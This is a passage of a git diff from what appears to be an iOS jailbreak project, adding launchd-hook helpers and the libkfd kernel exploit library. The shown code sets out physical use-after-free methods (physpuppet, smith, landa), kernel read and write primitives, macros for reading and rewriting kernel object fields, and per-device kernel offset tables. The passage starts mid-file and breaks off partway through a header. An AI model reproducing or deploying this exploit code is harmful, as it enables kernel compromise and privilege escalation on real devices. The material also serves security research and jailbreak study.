killall(const char *executablePathToKill, bool softly); +int libarchive_unarchive(const char *fileToExtract, const char *extractionPath); + +void thread_caffeinate_start(void); +void thread_caffeinate_stop(void); + +void convert_data_to_hex_string(const void *data, size_t size, char *outBuf); +int convert_hex_string_to_data(const char *string, void *outBuf); + +int cmd_wait_for_exit(pid_t pid); +int exec_cmd(const char *binary, ...); +int exec_cmd_nowait(pid_t *pidOut, const char *binary, ...); +int exec_cmd_suspended(pid_t *pidOut, const char *binary, ...); +int exec_cmd_root(const char *binary, ...); + +#define exec_cmd_trusted(x, args ...) ({ \ + jbclient_trust_binary(x, NULL); \ + int retval; \ + retval = exec_cmd(x, args); \ + retval; \ +}) + +#define JBRootPath(path) ({ \ + static char outPath[PATH_MAX]; \ + strlcpy(outPath, jbinfo(rootPath), PATH_MAX); \ + strlcat(outPath, path, PATH_MAX); \ + (outPath); \ +}) + +#define VM_FLAGS_GET_PROT(x) ((x >> 7) & 0xFULL) +#define VM_FLAGS_GET_MAXPROT(x) ((x >> 11) & 0xFULL); +#define VM_FLAGS_SET_PROT(x, p) x = ((x & ~(0xFULL << 7)) | (((uint64_t)p) << 7)) +#define VM_FLAGS_SET_MAXPROT(x, p) x = ((x & ~(0xFULL << 11)) | (((uint64_t)p) << 11)) + +#ifdef __OBJC__ +NSString *NSJBRootPath(NSString *relativePath); +#endif + +void JBFixMobilePermissions(void); + +/* Status values. */ +#define SIDL 1 /* Process being created by fork. */ +#define SRUN 2 /* Currently runnable. */ +#define SSLEEP 3 /* Sleeping on an address. */ +#define SSTOP 4 /* Process debugging or suspension. */ +#define SZOMB 5 /* Awaiting collection by parent. */ + +pid_t proc_get_ppid(pid_t pid); +int proc_paused(pid_t pid, bool* paused); + +#endif \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/xpc_private.h b/RootHelperSample/launchdshim/launchdhook/jbserver/xpc_private.h new file mode 100644 index 00000000..c479d2cd --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/xpc_private.h @@ -0,0 +1,16 @@ +#ifndef __XPC_PRIVATE_H__ +#define __XPC_PRIVATE_H__ + +void xpc_dictionary_get_audit_token(xpc_object_t xdict, audit_token_t *token); +char *xpc_strerror (int); + +extern XPC_RETURNS_RETAINED xpc_object_t xpc_pipe_create_from_port(mach_port_t port, uint32_t flags); +extern int xpc_pipe_simpleroutine(xpc_object_t pipe, xpc_object_t message); +extern int xpc_pipe_routine(xpc_object_t pipe, xpc_object_t message, XPC_GIVES_REFERENCE xpc_object_t *reply); +extern int xpc_pipe_routine_with_flags(xpc_object_t xpc_pipe, xpc_object_t inDict, XPC_GIVES_REFERENCE xpc_object_t *reply, uint32_t flags); +extern int xpc_pipe_routine_reply(xpc_object_t reply); +extern int xpc_pipe_receive(mach_port_t port, XPC_GIVES_REFERENCE xpc_object_t *message); + +extern XPC_RETURNS_RETAINED xpc_object_t xpc_copy_entitlement_for_token(const char *, audit_token_t *); + +#endif \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd.h b/RootHelperSample/launchdshim/launchdhook/libkfd.h new file mode 100644 index 00000000..1b692ed6 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd.h @@ -0,0 +1,222 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef libkfd_h +#define libkfd_h + +/* + * The global configuration parameters of libkfd. + */ +#define CONFIG_ASSERT 1 +#define CONFIG_PRINT 1 +#define CONFIG_TIMER 1 + +#include "libkfd/common.h" + +/* + * The public API of libkfd. + */ + +enum puaf_method { + puaf_physpuppet, + puaf_smith, + puaf_landa, +}; + +enum kread_method { + kread_kqueue_workloop_ctl, + kread_sem_open, +}; + +enum kwrite_method { + kwrite_dup, + kwrite_sem_open, +}; + +u64 kopen(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method); +void kread(u64 kfd, u64 kaddr, void* uaddr, u64 size); +void kwrite(u64 kfd, void* uaddr, u64 kaddr, u64 size); +void kclose(u64 kfd); + +/* + * The private API of libkfd. + */ + +struct kfd; // Forward declaration for function pointers. + +struct info { + struct { + vm_address_t src_uaddr; + vm_address_t dst_uaddr; + vm_size_t size; + } copy; + struct { + i32 pid; + u64 tid; + u64 vid; + u64 maxfilesperproc; + } env; + struct { + u64 current_map; + u64 current_pmap; + u64 current_proc; + u64 current_task; + u64 kernel_map; + u64 kernel_pmap; + u64 kernel_proc; + u64 kernel_task; + } kaddr; +}; + +struct perf { + u64 kernel_slide; + u64 gVirtBase; + u64 gPhysBase; + u64 gPhysSize; + struct { + u64 pa; + u64 va; + } ttbr[2]; + struct ptov_table_entry { + u64 pa; + u64 va; + u64 len; + } ptov_table[8]; + struct { + u64 kaddr; + u64 paddr; + u64 uaddr; + u64 size; + } shared_page; + struct { + i32 fd; + u32 si_rdev_buffer[2]; + u64 si_rdev_kaddr; + } dev; + void (*saved_kread)(struct kfd*, u64, void*, u64); + void (*saved_kwrite)(struct kfd*, void*, u64, u64); +}; + +struct puaf { + u64 number_of_puaf_pages; + u64* puaf_pages_uaddr; + void* puaf_method_data; + u64 puaf_method_data_size; + struct { + void (*init)(struct kfd*); + void (*run)(struct kfd*); + void (*cleanup)(struct kfd*); + void (*free)(struct kfd*); + } puaf_method_ops; +}; + +struct krkw { + u64 krkw_maximum_id; + u64 krkw_allocated_id; + u64 krkw_searched_id; + u64 krkw_object_id; + u64 krkw_object_uaddr; + u64 krkw_object_size; + void* krkw_method_data; + u64 krkw_method_data_size; + struct { + void (*init)(struct kfd*); + void (*allocate)(struct kfd*, u64); + bool (*search)(struct kfd*, u64); + void (*kread)(struct kfd*, u64, void*, u64); + void (*kwrite)(struct kfd*, void*, u64, u64); + void (*find_proc)(struct kfd*); + void (*deallocate)(struct kfd*, u64); + void (*free)(struct kfd*); + } krkw_method_ops; +}; + +struct kfd { + struct info info; + struct perf perf; + struct puaf puaf; + struct krkw kread; + struct krkw kwrite; +}; + +#include "libkfd/info.h" +#include "libkfd/puaf.h" +#include "libkfd/krkw.h" +#include "libkfd/perf.h" + +struct kfd* kfd_init(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method) +{ + struct kfd* kfd = (struct kfd*)(malloc_bzero(sizeof(struct kfd))); + info_init(kfd); + puaf_init(kfd, puaf_pages, puaf_method); + krkw_init(kfd, kread_method, kwrite_method); + perf_init(kfd); + return kfd; +} + +void kfd_free(struct kfd* kfd) +{ + perf_free(kfd); + krkw_free(kfd); + puaf_free(kfd); + info_free(kfd); + bzero_free(kfd, sizeof(struct kfd)); +} + +u64 kopen(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method) +{ + int fail = -1; + + //timer_start(); + + const u64 puaf_pages_min = 16; + const u64 puaf_pages_max = 4096; + assert(puaf_pages >= puaf_pages_min); + assert(puaf_pages <= puaf_pages_max); + assert(puaf_method <= puaf_landa); + assert(kread_method <= kread_sem_open); + assert(kwrite_method <= kwrite_sem_open); + + struct kfd* kfd = kfd_init(puaf_pages, puaf_method, kread_method, kwrite_method); + +retry: + puaf_run(kfd); + + fail = krkw_run(kfd); + if(fail && (puaf_method == puaf_landa)) { + // Thanks: m1zole / dunkeyyfong + puaf_free(kfd); + info_free(kfd); + bzero(kfd, sizeof(struct kfd)); + info_init(kfd); + puaf_init(kfd, puaf_pages, puaf_method); + krkw_init(kfd, kread_method, kwrite_method); + perf_init(kfd); + goto retry; + } + + info_run(kfd); + perf_run(kfd); + puaf_cleanup(kfd); + + //timer_end(); + return (u64)(kfd); +} + +void kread(u64 kfd, u64 kaddr, void* uaddr, u64 size) +{ + krkw_kread((struct kfd*)(kfd), kaddr, uaddr, size); +} + +void kwrite(u64 kfd, void* uaddr, u64 kaddr, u64 size) +{ + krkw_kwrite((struct kfd*)(kfd), uaddr, kaddr, size); +} + +void kclose(u64 kfd) +{ + kfd_free((struct kfd*)(kfd)); +} + +#endif /* libkfd_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/common.h b/RootHelperSample/launchdshim/launchdhook/libkfd/common.h new file mode 100644 index 00000000..9af14323 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/common.h @@ -0,0 +1,212 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef common_h +#define common_h + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef __OBJC__ +void NSLog(CFStringRef, ...); +#endif +#define pages(number_of_pages) ((number_of_pages) * (ARM_PGBYTES)) + +#define min(a, b) (((a) < (b)) ? (a) : (b)) +#define max(a, b) (((a) > (b)) ? (a) : (b)) + +typedef int8_t i8; +typedef int16_t i16; +typedef int32_t i32; +typedef int64_t i64; +typedef intptr_t isize; + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; +typedef uintptr_t usize; + +/* + * Helper print macros. + */ + +#if CONFIG_PRINT + +#ifndef __OBJC__ +#define print(format, ...) NSLog(CFSTR(format), ##__VA_ARGS__) +#else +#define print(format, ...) NSLog(@format, ##__VA_ARGS__) +#endif + +#else /* CONFIG_PRINT */ + +#define print(args...) + +#endif /* CONFIG_PRINT */ + +#define print_bool(name) print("[%s]: %s = %s", __FUNCTION__, #name, name ? "true" : "false") + +#define print_i8(name) print("[%s]: %s = %hhi", __FUNCTION__, #name, name) +#define print_u8(name) print("[%s]: %s = %hhu", __FUNCTION__, #name, name) +#define print_x8(name) print("[%s]: %s = %02hhx", __FUNCTION__, #name, name) + +#define print_i16(name) print("[%s]: %s = %hi", __FUNCTION__, #name, name) +#define print_u16(name) print("[%s]: %s = %hu", __FUNCTION__, #name, name) +#define print_x16(name) print("[%s]: %s = %04hx", __FUNCTION__, #name, name) + +#define print_i32(name) print("[%s]: %s = %i", __FUNCTION__, #name, name) +#define print_u32(name) print("[%s]: %s = %u", __FUNCTION__, #name, name) +#define print_x32(name) print("[%s]: %s = %08x", __FUNCTION__, #name, name) + +#define print_i64(name) print("[%s]: %s = %lli", __FUNCTION__, #name, name) +#define print_u64(name) print("[%s]: %s = %llu", __FUNCTION__, #name, name) +#define print_x64(name) print("[%s]: %s = %016llx", __FUNCTION__, #name, name) + +#define print_isize(name) print("[%s]: %s = %li", __FUNCTION__, #name, name) +#define print_usize(name) print("[%s]: %s = %lu", __FUNCTION__, #name, name) +#define print_xsize(name) print("[%s]: %s = %016lx", __FUNCTION__, #name, name) + +#define print_string(name) print("[%s]: %s = %s", __FUNCTION__, #name, name) + +#define print_message(format, ...) do { print("[%s]: " format, __FUNCTION__, ##__VA_ARGS__); } while (0) +#define print_success(format, ...) do { print("[%s]: 🟢 " format, __FUNCTION__, ##__VA_ARGS__); } while (0) +#define print_warning(format, ...) do { print("[%s]: 🟡 " format, __FUNCTION__, ##__VA_ARGS__); } while (0) +#define print_failure(format, ...) do { print("[%s]: 🔴 " format, __FUNCTION__, ##__VA_ARGS__); } while (0) + +#define print_timer(tv) \ + do { \ + u64 sec = ((tv)->tv_sec); \ + u64 msec = ((tv)->tv_usec) / 1000; \ + u64 usec = ((tv)->tv_usec) % 1000; \ + print_success("%llus %llums %lluus", sec, msec, usec); \ + } while (0) + +#define print_buffer(uaddr, size) \ + do { \ + const u64 u64_per_line = 8; \ + volatile u64* u64_base = (volatile u64*)(uaddr); \ + u64 u64_size = ((u64)(size) / sizeof(u64)); \ + for (u64 u64_offset = 0; u64_offset < u64_size; u64_offset++) { \ + if ((u64_offset % u64_per_line) == 0) { \ + print("[0x%04llx]: ", u64_offset * sizeof(u64)); \ + } \ + print("%016llx", u64_base[u64_offset]); \ + if ((u64_offset % u64_per_line) == (u64_per_line - 1)) { \ + print("\n"); \ + } else { \ + print(" "); \ + } \ + } \ + if ((u64_size % u64_per_line) != 0) { \ + print("\n"); \ + } \ + } while (0) + +/* + * Helper assert macros. + */ + +#if CONFIG_ASSERT + +#define assert(condition) \ + do { \ + if (!(condition)) { \ + print_failure("assertion failed: (%s)", #condition); \ + print_failure("file: %s, line: %d", __FILE__, __LINE__); \ + } \ + } while (0) + +#else /* CONFIG_ASSERT */ + +#define assert(condition) + +#endif /* CONFIG_ASSERT */ + +#define assert_false(message) \ + do { \ + print_failure("error: %s", message); \ + assert(false); \ + } while (0) + + + +#define assert_bsd(statement) \ + do { \ + kern_return_t kret = (statement); \ + if (kret != KERN_SUCCESS) { \ + print_failure("bsd error: kret = %d, errno = %d (%s)", kret, errno, strerror(errno)); \ + assert(kret == KERN_SUCCESS); \ + } \ + } while (0) + +#define assert_mach(statement) \ + do { \ + kern_return_t kret = (statement); \ + if (kret != KERN_SUCCESS) { \ + print_failure("mach error: kret = %d (%s)", kret, mach_error_string(kret)); \ + assert(kret == KERN_SUCCESS); \ + } \ + } while (0) + +/* + * Helper timer macros. + */ + +#if CONFIG_TIMER + +#define timer_start() \ + struct timeval tv_start; \ + do { \ + assert_bsd(gettimeofday(&tv_start, NULL)); \ + } while (0) + +#define timer_end() \ + do { \ + struct timeval tv_end, tv_diff; \ + assert_bsd(gettimeofday(&tv_end, NULL)); \ + timersub(&tv_end, &tv_start, &tv_diff); \ + print_timer(&tv_diff); \ + } while (0) + +#else /* CONFIG_TIMER */ + +#define timer_start() +#define timer_end() + +#endif /* CONFIG_TIMER */ + +/* + * Helper allocation macros. + */ + +#define malloc_bzero(size) \ + ({ \ + void* pointer = malloc(size); \ + assert(pointer != NULL); \ + bzero(pointer, size); \ + pointer; \ + }) + +#define bzero_free(pointer, size) \ + do { \ + bzero(pointer, size); \ + free(pointer); \ + pointer = NULL; \ + } while (0) + +extern signed long long base_pac_mask; +#endif /* common_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/info.h b/RootHelperSample/launchdshim/launchdhook/libkfd/info.h new file mode 100644 index 00000000..bf02aadf --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/info.h @@ -0,0 +1,189 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef info_h +#define info_h + +#include "info/dynamic_info.h" +#include "info/static_info.h" + +/* + * Note that these macros assume that the kfd pointer is in scope. + */ +#define dynamic_info(field_name) (kern_versions[kfd->info.env.vid].field_name) + +#define dynamic_kget(field_name, object_kaddr) \ + ({ \ + u64 tmp_buffer = 0; \ + u64 field_kaddr = (u64)(object_kaddr) + dynamic_info(field_name); \ + kread((u64)(kfd), (field_kaddr), (&tmp_buffer), (sizeof(tmp_buffer))); \ + tmp_buffer; \ + }) + +#define dynamic_kset(field_name, new_value, object_kaddr) \ + do { \ + u64 tmp_buffer = new_value; \ + u64 field_kaddr = (u64)(object_kaddr) + dynamic_info(field_name); \ + kwrite((u64)(kfd), (&tmp_buffer), (field_kaddr), (sizeof(tmp_buffer))); \ + } while (0) + +#define static_kget(object_name, field_name, object_kaddr) \ + ({ \ + u64 tmp_buffer = 0; \ + u64 field_kaddr = (u64)(object_kaddr) + offsetof(object_name, field_name); \ + kread((u64)(kfd), (field_kaddr), (&tmp_buffer), (sizeof(tmp_buffer))); \ + tmp_buffer; \ + }) + +#define static_kset(object_name, field_name, new_value, object_kaddr) \ + do { \ + u64 tmp_buffer = new_value; \ + u64 field_kaddr = (u64)(object_kaddr) + offsetof(object_name, field_name); \ + kwrite((u64)(kfd), (&tmp_buffer), (field_kaddr), (sizeof(tmp_buffer))); \ + } while (0) + +const char info_copy_sentinel[] = "p0up0u was here"; +const u64 info_copy_sentinel_size = sizeof(info_copy_sentinel); + +void info_init(struct kfd* kfd) +{ + /* + * Initialize the kfd->info.copy substructure. + * + * Note that the vm_copy() call in krkw_helper_grab_free_pages() makes the following assumptions: + * - The size of the copy must be strictly greater than msg_ool_size_small. + * - The source object must have a copy strategy of MEMORY_OBJECT_COPY_NONE. + * - The destination object must have a copy strategy of MEMORY_OBJECT_COPY_SYMMETRIC. + */ + kfd->info.copy.size = pages(4); + assert(kfd->info.copy.size > msg_ool_size_small); + assert_mach(vm_allocate(mach_task_self(), &kfd->info.copy.src_uaddr, kfd->info.copy.size, VM_FLAGS_ANYWHERE | VM_FLAGS_PURGABLE)); + assert_mach(vm_allocate(mach_task_self(), &kfd->info.copy.dst_uaddr, kfd->info.copy.size, VM_FLAGS_ANYWHERE)); + for (u64 offset = pages(0); offset < kfd->info.copy.size; offset += pages(1)) { + bcopy(info_copy_sentinel, (void*)(kfd->info.copy.src_uaddr + offset), info_copy_sentinel_size); + bcopy(info_copy_sentinel, (void*)(kfd->info.copy.dst_uaddr + offset), info_copy_sentinel_size); + } + + /* + * Initialize the kfd->info.env substructure. + */ + kfd->info.env.pid = getpid(); + print_i32(kfd->info.env.pid); + + thread_identifier_info_data_t data = {}; + thread_info_t info = (thread_info_t)(&data); + mach_msg_type_number_t count = THREAD_IDENTIFIER_INFO_COUNT; + assert_mach(thread_info(mach_thread_self(), THREAD_IDENTIFIER_INFO, info, &count)); + kfd->info.env.tid = data.thread_id; + print_u64(kfd->info.env.tid); + + usize size1 = sizeof(kfd->info.env.maxfilesperproc); + assert_bsd(sysctlbyname("kern.maxfilesperproc", &kfd->info.env.maxfilesperproc, &size1, NULL, 0)); + print_u64(kfd->info.env.maxfilesperproc); + + struct rlimit rlim = { .rlim_cur = kfd->info.env.maxfilesperproc, .rlim_max = kfd->info.env.maxfilesperproc }; + assert_bsd(setrlimit(RLIMIT_NOFILE, &rlim)); + + char kern_version[512] = {}; + usize size2 = sizeof(kern_version); + assert_bsd(sysctlbyname("kern.version", &kern_version, &size2, NULL, 0)); + print_string(kern_version); + + kfd->info.env.vid = 0; + + //set offset from static patchfinder +// kern_versions[kfd->info.env.vid].kernelcache__cdevsw = off_cdevsw; +// kern_versions[kfd->info.env.vid].kernelcache__gPhysBase = off_gPhysBase; +// kern_versions[kfd->info.env.vid].kernelcache__gPhysSize = off_gPhysSize; +// kern_versions[kfd->info.env.vid].kernelcache__gVirtBase = off_gVirtBase; +// kern_versions[kfd->info.env.vid].kernelcache__perfmon_dev_open = off_perfmon_dev_open; +// kern_versions[kfd->info.env.vid].kernelcache__perfmon_devices = off_perfmon_devices; +// kern_versions[kfd->info.env.vid].kernelcache__ptov_table = off_ptov_table; +// kern_versions[kfd->info.env.vid].kernelcache__vn_kqfilter = off_vn_kqfilter; +// kern_versions[kfd->info.env.vid].proc__object_size = off_proc_object_size; + + //T8120(A16), T8103(M1), T8112(M2): t1sz_boot = 17; + //others: t1sz_boot = 25; + //Source: https://www.reddit.com/r/jailbreak/comments/15b9l7n/comment/jtssz14/?utm_source=share&utm_medium=web2x&context=3 + if(strstr(get_kernversion(), "T8120") != NULL || strstr(get_kernversion(), "T8103") != NULL || strstr(get_kernversion(), "T8112") != NULL) + t1sz_boot = 17; + else + t1sz_boot = 25; + + arm64_link_addr = get_vm_kernel_link_addr(); + + print_u64(kfd->info.env.vid); + +// const u64 number_of_kern_versions = sizeof(kern_versions) / sizeof(kern_versions[0]); +// for (u64 i = 0; i < number_of_kern_versions; i++) { +// const char* current_kern_version = kern_versions[i].kern_version; +// if (!memcmp(kern_version, current_kern_version, strlen(current_kern_version))) { +// kfd->info.env.vid = i; +// print_u64(kfd->info.env.vid); +// return; +// } +// } + +// assert_false("unsupported osversion"); +} + +void info_run(struct kfd* kfd) +{ + timer_start(); + + /* + * current_task() + */ + assert(kfd->info.kaddr.current_proc); + kfd->info.kaddr.current_task = kfd->info.kaddr.current_proc + dynamic_info(proc__object_size); + print_x64(kfd->info.kaddr.current_proc); + print_x64(kfd->info.kaddr.current_task); + + /* + * current_map() + */ + u64 signed_map_kaddr = dynamic_kget(task__map, kfd->info.kaddr.current_task); + kfd->info.kaddr.current_map = UNSIGN_PTR(signed_map_kaddr); + print_x64(kfd->info.kaddr.current_map); + + /* + * current_pmap() + */ + u64 signed_pmap_kaddr = static_kget(struct _vm_map, pmap, kfd->info.kaddr.current_map); + kfd->info.kaddr.current_pmap = UNSIGN_PTR(signed_pmap_kaddr); + print_x64(kfd->info.kaddr.current_pmap); + + if (kfd->info.kaddr.kernel_proc) { + /* + * kernel_task() + */ + kfd->info.kaddr.kernel_task = kfd->info.kaddr.kernel_proc + dynamic_info(proc__object_size); + print_x64(kfd->info.kaddr.kernel_proc); + print_x64(kfd->info.kaddr.kernel_task); + + /* + * kernel_map() + */ + u64 signed_map_kaddr = dynamic_kget(task__map, kfd->info.kaddr.kernel_task); + kfd->info.kaddr.kernel_map = UNSIGN_PTR(signed_map_kaddr); + print_x64(kfd->info.kaddr.kernel_map); + + /* + * kernel_pmap() + */ + u64 signed_pmap_kaddr = static_kget(struct _vm_map, pmap, kfd->info.kaddr.kernel_map); + kfd->info.kaddr.kernel_pmap = UNSIGN_PTR(signed_pmap_kaddr); + print_x64(kfd->info.kaddr.kernel_pmap); + } + + timer_end(); +} + +void info_free(struct kfd* kfd) +{ + assert_mach(vm_deallocate(mach_task_self(), kfd->info.copy.src_uaddr, kfd->info.copy.size)); + assert_mach(vm_deallocate(mach_task_self(), kfd->info.copy.dst_uaddr, kfd->info.copy.size)); +} + +#endif /* info_h */ \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/info/dynamic_info.h b/RootHelperSample/launchdshim/launchdhook/libkfd/info/dynamic_info.h new file mode 100644 index 00000000..48d9430e --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/info/dynamic_info.h @@ -0,0 +1,140 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef dynamic_info_h +#define dynamic_info_h + +#include "../../fun/kpf/patchfinder.h" + +struct dynamic_info { + const char* kern_version; + bool kread_kqueue_workloop_ctl_supported; + bool perf_supported; + // struct proc + u64 proc__p_list__le_prev; + u64 proc__p_pid; + u64 proc__p_fd__fd_ofiles; + u64 proc__object_size; + // struct task + u64 task__map; + // struct thread + u64 thread__thread_id; + // kernelcache static addresses (perf) + u64 kernelcache__cdevsw; // "spec_open type" or "Can't mark ptc as kqueue ok" + u64 kernelcache__gPhysBase; // "%s: illegal PA: 0x%llx; phys base 0x%llx, size 0x%llx" + u64 kernelcache__gPhysSize; // (gPhysBase + 0x8) + u64 kernelcache__gVirtBase; // "%s: illegal PA: 0x%llx; phys base 0x%llx, size 0x%llx" + u64 kernelcache__perfmon_dev_open; // "perfmon: attempt to open unsupported source: 0x%x" + u64 kernelcache__perfmon_devices; // "perfmon: %s: devfs_make_node_clone failed" + u64 kernelcache__ptov_table; // "%s: illegal PA: 0x%llx; phys base 0x%llx, size 0x%llx" + u64 kernelcache__vn_kqfilter; // "Invalid knote filter on a vnode!" + u64 kslide; // KSLIDE +}; + +struct dynamic_info kern_versions[] = { + // iOS 16.x / arm64e + { + .kern_version = "Darwin Kernel Version 22.x.x / arm64e", + .kread_kqueue_workloop_ctl_supported = false, + .perf_supported = true, + .proc__p_list__le_prev = 0x0008, + .proc__p_pid = 0x0060, + .proc__p_fd__fd_ofiles = 0x00f8, + .proc__object_size = 0, + .task__map = 0x0028, + .thread__thread_id = 0, + .kernelcache__cdevsw = 0, + .kernelcache__gPhysBase = 0, + .kernelcache__gPhysSize = 0, + .kernelcache__gVirtBase = 0, + .kernelcache__perfmon_dev_open = 0, + .kernelcache__perfmon_devices = 0, + .kernelcache__ptov_table = 0, + .kernelcache__vn_kqfilter = 0, + }, +// // iOS 16.6 - iPhone 12 Pro +// // T1SZ_BOOT must be changed to 25 instead of 17 +// { +// .kern_version = "Darwin Kernel Version 22.6.0: Wed Jun 28 20:50:15 PDT 2023; root:xnu-8796.142.1~1/RELEASE_ARM64_T8101", +// .kread_kqueue_workloop_ctl_supported = false, +// .perf_supported = true, +// .proc__p_list__le_prev = 0x0008, +// .proc__p_pid = 0x0060, +// .proc__p_fd__fd_ofiles = 0x00f8, +// .proc__object_size = 0x0730, +// .task__map = 0x0028, +// .thread__thread_id = 0, +// .kernelcache__cdevsw = 0xfffffff00a4a5288, +// .kernelcache__gPhysBase = 0xfffffff0079303b8, +// .kernelcache__gPhysSize = 0xfffffff0079303c0, +// .kernelcache__gVirtBase = 0xfffffff00792e570, +// .kernelcache__perfmon_dev_open = 0xfffffff007ef4278, +// .kernelcache__perfmon_devices = 0xfffffff00a4e5320, +// .kernelcache__ptov_table = 0xfffffff0078e38f0, +// .kernelcache__vn_kqfilter = 0xfffffff007f42f40, +// }, +// // macOS 13.4 - MacBook Air (M2, 2022) +// { +// .kern_version = "todo", +// .kread_kqueue_workloop_ctl_supported = false, +// .perf_supported = false, +// .proc__p_list__le_prev = 0x0008, +// .proc__p_pid = 0x0060, +// .proc__p_fd__fd_ofiles = 0x00f8, +// .proc__object_size = 0x0778, +// .task__map = 0x0028, +// .thread__thread_id = 0, +// .kernelcache__cdevsw = 0, +// .kernelcache__gPhysBase = 0, +// .kernelcache__gPhysSize = 0, +// .kernelcache__gVirtBase = 0, +// .kernelcache__perfmon_dev_open = 0, +// .kernelcache__perfmon_devices = 0, +// .kernelcache__ptov_table = 0, +// .kernelcache__vn_kqfilter = 0, +// }, +// // macOS 13.5 - MacBook Air (M2, 2022) +// { +// .kern_version = "Darwin Kernel Version 22.6.0: Wed Jul 5 22:17:35 PDT 2023; root:xnu-8796.141.3~6/RELEASE_ARM64_T8112", +// .kread_kqueue_workloop_ctl_supported = false, +// .perf_supported = false, +// .proc__p_list__le_prev = 0x0008, +// .proc__p_pid = 0x0060, +// .proc__p_fd__fd_ofiles = 0x00f8, +// .proc__object_size = 0x0778, +// .task__map = 0x0028, +// .thread__thread_id = 0, +// .kernelcache__cdevsw = 0, +// .kernelcache__gPhysBase = 0, +// .kernelcache__gPhysSize = 0, +// .kernelcache__gVirtBase = 0, +// .kernelcache__perfmon_dev_open = 0, +// .kernelcache__perfmon_devices = 0, +// .kernelcache__ptov_table = 0, +// .kernelcache__vn_kqfilter = 0, +// }, +// // iOS 16.1.2 - iPhone 14 Pro +// // T1SZ_BOOT = 25 +// { +// .kern_version = "Darwin Kernel Version 22.1.0: Thu Oct 6 19:34:16 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8120", +// .kread_kqueue_workloop_ctl_supported = false, +// .perf_supported = true, +// .proc__p_list__le_prev = 0x0008, +// .proc__p_pid = 0x0060, +// .proc__p_fd__fd_ofiles = 0x00f8, +// .proc__object_size = 0x530, +// .task__map = 0x0028, +// .thread__thread_id = 0, +// .kernelcache__cdevsw = 0xFFFFFFF00A311168, +// .kernelcache__gPhysBase = 0xFFFFFFF00784BD50, +// .kernelcache__gPhysSize = 0xFFFFFFF00784BD58, +// .kernelcache__gVirtBase = 0xFFFFFFF007849F38, +// .kernelcache__perfmon_dev_open = 0xFFFFFFF007EC0288, +// .kernelcache__perfmon_devices = 0xFFFFFFF00A34C310, +// .kernelcache__ptov_table = 0xFFFFFFF0077FFA18, +// .kernelcache__vn_kqfilter = 0xFFFFFFF007F101A0, +// }, +}; + +#endif /* dynamic_info_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/info/static_info.h b/RootHelperSample/launchdshim/launchdhook/libkfd/info/static_info.h new file mode 100644 index 00000000..960be96c --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/info/static_info.h @@ -0,0 +1,744 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef static_info_h +#define static_info_h + +/* + * makedefs/MakeInc.def + */ + +uint64_t arm64_link_addr = 0; +#define ARM64_LINK_ADDR arm64_link_addr + +/* + * osfmk/arm64/proc_reg.h + */ + +#define ARM_PGSHIFT (14ull) +#define ARM_PGBYTES (1ull << ARM_PGSHIFT) +#define ARM_PGMASK (ARM_PGBYTES - 1ull) + +unsigned long long t1sz_boot = 0; +#define T1SZ_BOOT t1sz_boot + +#define AP_RWNA (0x0ull << 6) +#define AP_RWRW (0x1ull << 6) +#define AP_RONA (0x2ull << 6) +#define AP_RORO (0x3ull << 6) + +#define ARM_PTE_TYPE 0x0000000000000003ull +#define ARM_PTE_TYPE_VALID 0x0000000000000003ull +#define ARM_PTE_TYPE_MASK 0x0000000000000002ull +#define ARM_TTE_TYPE_L3BLOCK 0x0000000000000002ull +#define ARM_PTE_ATTRINDX 0x000000000000001cull +#define ARM_PTE_NS 0x0000000000000020ull +#define ARM_PTE_AP 0x00000000000000c0ull +#define ARM_PTE_SH 0x0000000000000300ull +#define ARM_PTE_AF 0x0000000000000400ull +#define ARM_PTE_NG 0x0000000000000800ull +#define ARM_PTE_ZERO1 0x000f000000000000ull +#define ARM_PTE_HINT 0x0010000000000000ull +#define ARM_PTE_PNX 0x0020000000000000ull +#define ARM_PTE_NX 0x0040000000000000ull +#define ARM_PTE_ZERO2 0x0380000000000000ull +#define ARM_PTE_WIRED 0x0400000000000000ull +#define ARM_PTE_WRITEABLE 0x0800000000000000ull +#define ARM_PTE_ZERO3 0x3000000000000000ull +#define ARM_PTE_COMPRESSED_ALT 0x4000000000000000ull +#define ARM_PTE_COMPRESSED 0x8000000000000000ull + +#define ARM_TTE_VALID 0x0000000000000001ull +#define ARM_TTE_TYPE_MASK 0x0000000000000002ull +#define ARM_TTE_TYPE_TABLE 0x0000000000000002ull +#define ARM_TTE_TYPE_BLOCK 0x0000000000000000ull +#define ARM_TTE_TABLE_MASK 0x0000fffffffff000ull +#define ARM_TTE_PA_MASK 0x0000fffffffff000ull + +#define ARM_16K_TT_L0_SIZE 0x0000800000000000ull +#define ARM_16K_TT_L0_OFFMASK 0x00007fffffffffffull +#define ARM_16K_TT_L0_SHIFT 47 +#define ARM_16K_TT_L0_INDEX_MASK 0x0000800000000000ull + +#define ARM_16K_TT_L1_SIZE 0x0000001000000000ull +#define ARM_16K_TT_L1_OFFMASK 